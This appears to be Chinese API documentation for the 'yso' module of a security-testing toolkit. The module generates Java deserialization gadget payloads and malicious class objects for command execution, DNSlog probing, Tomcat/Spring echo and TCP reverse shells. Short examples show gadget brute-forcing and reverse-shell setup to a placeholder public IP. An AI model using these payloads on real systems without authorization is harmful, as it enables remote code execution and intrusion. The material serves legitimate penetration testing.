yso
函数名 | 函数描述/介绍 |
---|---|
yso.GenerateClass | |
yso.GenerateClassObjectFromBytes | GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。 参数是... |
yso.GenerateDNSlogEvilClassObject | GenDnslogClassObject GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象, 并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dn... |
yso.GenerateHeaderEchoClassObject | GenHeaderEchoClassObject GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步定制生成... |
yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject | GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useModifyTomcatMaxHeaderS... |
yso.GenerateMultiEchoClassObject | GenMultiEchoClassObject GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显, options:一组可选的Ge... |
yso.GenerateProcessBuilderExecEvilClassObject | GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExec... |
yso.GenerateProcessImplExecEvilClassObject | GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和... |
yso.GenerateRuntimeExecEvilClassObject | GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecComma... |
yso.GenerateSleepClassObject | GenSleepClassObject GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象 options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。 返回:成功时... |
yso.GenerateSpringEchoEvilClassObject | GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内... |
yso.GenerateTcpReverseEvilClassObject | GenTcpReverseClassObject GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseTemplate ,tcpRev... |
yso.GenerateTcpReverseShellEvilClassObject | GenTcpReverseShellClassObject GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseS... |
yso.GenerateTomcatEchoClassObject | GenTomcatEchoClassObject GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步... |
yso.GetAllGadget | |
yso.GetAllRuntimeExecGadget | GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget |
yso.GetAllTemplatesGadget | GetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget |
yso.GetBeanShell1JavaObject | GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。 它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。 cmd:要传入Java对象的命令字符串。 返回:成功时返回... |
yso.GetClick1JavaObject | GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。 用户可以通过可变参数options 提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数允许用户定制生成的Java对象的特定属性或行为。 options:用于... |
yso.GetCommonsBeanutils183NOCCJavaObject | GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options ,用户可以提供额外的配置,这些配... |
yso.GetCommonsBeanutils192NOCCJavaObject | GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options ,用户可以提供额外的配置,这些配... |
yso.GetCommonsBeanutils1JavaObject | GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J... |
yso.GetCommonsCollections1JavaObject | GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetCommonsCollections2JavaObject | GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections3JavaObject | GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections4JavaObject | GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollections5JavaObject | GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections6JavaObject | GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections7JavaObject | GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生... |
yso.GetCommonsCollections8JavaObject | GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够... |
yso.GetCommonsCollectionsK1JavaObject | GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这... |
yso.GetCommonsCollectionsK2JavaObject | GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能... |
yso.GetCommonsCollectionsK3JavaObject | GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetCommonsCollectionsK4JavaObject | GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返... |
yso.GetFindGadgetByDNSJavaObject | GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。 使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的URL字... |
yso.GetGadget | GenerateGadget this is a highly flexible function that can generate a Java object by three different ways: 1. Generate a Java object that have no an... |
yso.GetGadgetNameByFun | |
yso.GetGroovy1JavaObject | GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应... |
yso.GetJBossInterceptors1JavaObject | GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J... |
yso.GetJSON1JavaObject | GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options:用于... |
yso.GetJavaObjectFromBytes | GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。 此函数使用ParseJavaSerialized方法来解析提供的字节序列, 并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空, 函数将返回错误。如果解析成功,它将返回解析出的第一个Ja... |
yso.GetJavassistWeld1JavaObject | GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定... |
yso.GetJdk7u21JavaObject | GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option... |
yso.GetJdk8u20JavaObject | GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。 通过可变参数options ,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option... |
yso.GetSimplePrincipalCollectionJavaObject | GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。 主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。 使用一个空的 SimplePrinci... |
yso.GetURLDNSJavaObject | GetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。 这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的UR... |
yso.LoadClassFromBCEL | LoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组, 并从这些字节中加载并返回一个javaclassparser.ClassObject对象。 这个函数首先使用javaclassparser.Bcel2b... |
yso.LoadClassFromBase64 | LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options 来配置生成的类对象。 这些参数是Ge... |
yso.LoadClassFromBytes | LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options 来配置生成的类对象。 这些参数是GenClassOpt... |
yso.ToBcel | |
yso.ToBytes | ToBytes 将 Java 或反序列化对象转换为字节码 |
yso.ToJson | ToJson 将 Java 或反序列化对象转换为 json 字符串 |
yso.command | SetExecCommand command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。 |
yso.dirtyDataLength | |
yso.dnslogDomain | SetDnslog dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。 addr:要设置的 Dnslog 域名。 |
yso.dump | dump 将Java 对象转换为类 Java 代码 |
yso.evilClassName | SetClassName evilClassName 请求参数选项函数,用于设置生成的类名。 className:要设置的类名。 |
yso.majorVersion | |
yso.obfuscationClassConstantPool | |
yso.springEchoBody | |
yso.springHeader | SetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.... |
yso.springParam | SetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。 |
yso.springRuntimeExecAction | |
yso.tcpReverseHost | SetTcpReverseHost tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标... |
yso.tcpReversePort | SetTcpReversePort tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标... |
yso.tcpReverseToken | SetTcpReverseToken tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。 token:要设置的 token ... |
yso.threeBytesCharString | |
yso.twoBytesCharString | |
yso.useBase64BytesClass | SetClassBase64Bytes useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。 base64:base64编码的字节码。 |
yso.useBytesClass | SetClassBytes useBytesClass 请求参数选项函数,传入字节码。 data:字节码。 |
yso.useBytesEvilClass | SetBytesEvilClass useBytesEvilClass 请求参数选项函数,传入自定义的字节码。 data:自定义的字节码。 |
yso.useClassMultiEchoTemplate | |
yso.useClassParam | |
yso.useConstructorExecutor | |
yso.useDNSLogEvilClass | SetDnslogEvilClass useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。 addr:要设置的 Dnslog 域名。 |
yso.useDNSlogTemplate | |
yso.useEchoBody | |
yso.useHeaderEchoEvilClass | |
yso.useHeaderEchoTemplate | |
yso.useHeaderParam | SetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.... |
yso.useModifyTomcatMaxHeaderSizeTemplate | |
yso.useMultiEchoEvilClass | |
yso.useParam | SetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。 |
yso.useProcessBuilderExecEvilClass | SetProcessBuilderExecEvilClass useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useProcessBuilderExecTemplate | |
yso.useProcessImplExecEvilClass | SetProcessImplExecEvilClass useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useProcessImplExecTemplate | |
yso.useRuntimeExecEvilClass | SetRuntimeExecEvilClass useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。 |
yso.useRuntimeExecTemplate | |
yso.useSleepEvilClass | |
yso.useSleepTemplate | |
yso.useSleepTime | SetSleepTime useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。 |
yso.useSpringEchoTemplate | |
yso.useTcpReverseEvilClass | SetTcpReverseEvilClass useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。 相当于 useTcpReverseTemplate ,tcpReve... |
yso.useTcpReverseShellEvilClass | SetTcpReverseShellEvilClass useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。 相当于 useTc... |
yso.useTcpReverseShellTemplate | |
yso.useTcpReverseTemplate | |
yso.useTemplate | |
yso.useTomcatEchoEvilClass | |
yso.useTomcatEchoTemplate |
#
函数定义#
GenerateClass#
详细描述#
定义GenerateClass(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateClassObjectFromBytes#
详细描述GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。
LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。
参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。
bytes:要从中加载类对象的字节数组。
options:用于配置类对象的可变参数函数列表。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象
#
定义GenerateClassObjectFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
bytes | []byte | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateDNSlogEvilClassObject#
详细描述GenDnslogClassObject
GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象,
并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dnslogDomain 函数,
以生成在反序列化时会向指定的 Dnslog 域名发送请求的Java对象。
domain:要在生成的Java对象中请求的 Dnslog 域名。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
domain := "dnslog.com" // 假设的 Dnslog 域名classObject, err := yso.GenerateDnslogEvilClassObject(domain, additionalOptions...) // 生成并配置Dnslog Java对象
#
定义GenerateDNSlogEvilClassObject(domain string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
domain | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateHeaderEchoClassObject#
详细描述GenHeaderEchoClassObject
GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
headerClassObj,_ = yso.GenerateHeaderEchoClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateHeaderEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateModifyTomcatMaxHeaderSizeEvilClassObject#
详细描述GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useModifyTomcatMaxHeaderSizeTemplate 函数, 以生成在反序列化时会修改 tomcat 的 MaxHeaderSize 值的Java对象。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, err := yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject() // 生成并配置ModifyTomcatMaxHeaderSize Java对象
#
定义GenerateModifyTomcatMaxHeaderSizeEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateMultiEchoClassObject#
详细描述GenMultiEchoClassObject
GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
body 回显bodyClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateMultiEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateProcessBuilderExecEvilClassObject#
详细描述GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessBuilderExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessBuilderExec Java对象
#
定义GenerateProcessBuilderExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateProcessImplExecEvilClassObject#
详细描述GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessImplExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessImplExec Java对象
#
定义GenerateProcessImplExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateRuntimeExecEvilClassObject#
详细描述GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象,
并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecCommand函数,
以生成在反序列化时会执行特定命令的Java对象。
cmd:要在生成的Java对象中执行的命令字符串。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
command := "ls" // 假设的命令字符串classObject, err := yso.GenerateRuntimeExecEvilClassObject(command, additionalOptions...) // 生成并配置RuntimeExec Java对象
#
定义GenerateRuntimeExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateSleepClassObject#
详细描述GenSleepClassObject
GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
yso.GenerateSleepClassObject(yso.useSleepTime(5))
#
定义GenerateSleepClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateSpringEchoEvilClassObject#
详细描述GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内容的Java对象。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
classObject, err := yso.GenerateSpringEchoEvilClassObject(yso.springHeader("Echo","Echo Check")) // 生成并配置SpringEcho Java对象
#
定义GenerateSpringEchoEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTcpReverseEvilClassObject#
详细描述GenTcpReverseClassObject
GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 函数, 以生成在反序列化时会反连指定的 tcpReverseHost ,tcpReversePort 的Java对象。
host:要设置的 tcpReverseHost 的host。
port:要设置的 tcpReversePort 的port。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
host = "公网IP"token = uuid()classObject, err := yso.GenerateTcpReverseEvilClassObject(host,8080,yso.tcpReverseToken(token),additionalOptions...) // 生成并配置TcpReverse Java对象
#
定义GenerateTcpReverseEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTcpReverseShellEvilClassObject#
详细描述GenTcpReverseShellClassObject
GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象,
这个函数结合使用 useTcpReverseShellTemplate ,tcpReverseShellHost ,tcpReverseShellPort 函数, 以生成在反序列化时会反连指定的 tcpReverseShellHost ,tcpReverseShellPort 的Java对象。
host:要设置的 tcpReverseShellHost 的host。
port:要设置的 tcpReverseShellPort 的port。
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
host = "公网IP"classObject, err := yso.GenerateTcpReverseShellEvilClassObject(host,8080,additionalOptions...) // 生成并配置TcpReverseShell Java对象
#
定义GenerateTcpReverseShellEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int | |
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GenerateTomcatEchoClassObject#
详细描述GenTomcatEchoClassObject
GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象,
options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。
返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。
Example:
body 回显bodyClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))
#
定义GenerateTomcatEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
options | ...GenClassOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | *javaclassparser.ClassObject | |
r2 | error |
#
GetAllGadget#
详细描述#
定义GetAllGadget() []any
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []any |
#
GetAllRuntimeExecGadget#
详细描述GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget
Example:
command := "whoami" // 假设的命令字符串 for _, gadget := range yso.GetAllRuntimeExecGadget() { javaObj, err := gadget(command) if javaObj == nil || err != nil { continue } objBytes, err := yso.ToBytes(javaObj) if err != nil { continue } // 发送 objBytes }
#
定义GetAllRuntimeExecGadget() []RuntimeExecGadget
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []RuntimeExecGadget |
#
GetAllTemplatesGadget#
详细描述GetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget
Example:
